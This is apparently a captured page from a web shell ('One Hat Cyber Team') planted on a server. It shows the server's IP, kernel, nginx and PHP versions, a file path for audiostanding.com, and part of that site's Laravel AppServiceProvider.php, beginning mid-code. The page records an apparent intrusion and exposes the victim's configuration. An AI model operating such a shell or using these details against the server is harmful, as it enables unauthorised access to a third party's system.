⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
audiostanding.com
/
app
/
Providers
/
View File Name :
AppServiceProvider.php
(object) Setting::pluck('value', 'key')->all()); Cache::rememberForever('marketing_setting', fn () => (object) MarketingSetting::pluck('value', 'key')->all()); Cache::rememberForever('seo_setting', fn () => (object) SeoSetting::all()->groupBy('page_name')->mapWithKeys(function ($group, $pageName) { return [$pageName => $group->first()]; })); if(Cache::has('setting')){ set_wasabi_config(); set_aws_config(); } } catch (\Throwable $th) { logger($th); } /** Share setting to all views */ View::composer('*', function ($view) { $setting = Cache::get('setting'); $marketing_setting = Cache::get('marketing_setting'); $seo_setting = Cache::get('seo_setting'); $view->with(['setting' => $setting, 'marketing_setting' => $marketing_setting, 'seo_setting' => $seo_setting]); }); // set timezone date_default_timezone_set(Cache::get('setting')?->timezone ?? config('app.timezone')); /** * Register custom blade directives * this can be used for permission or permissions check * this check will be perform on admin guard */ $this->registerBladeDirectives(); Paginator::useBootstrapFour(); } protected function registerBladeDirectives() { Blade::directive('adminCan', function ($permission) { return "guard('admin')->user()->can({$permission})): ?>"; }); Blade::directive('endadminCan', function () { return ''; }); } }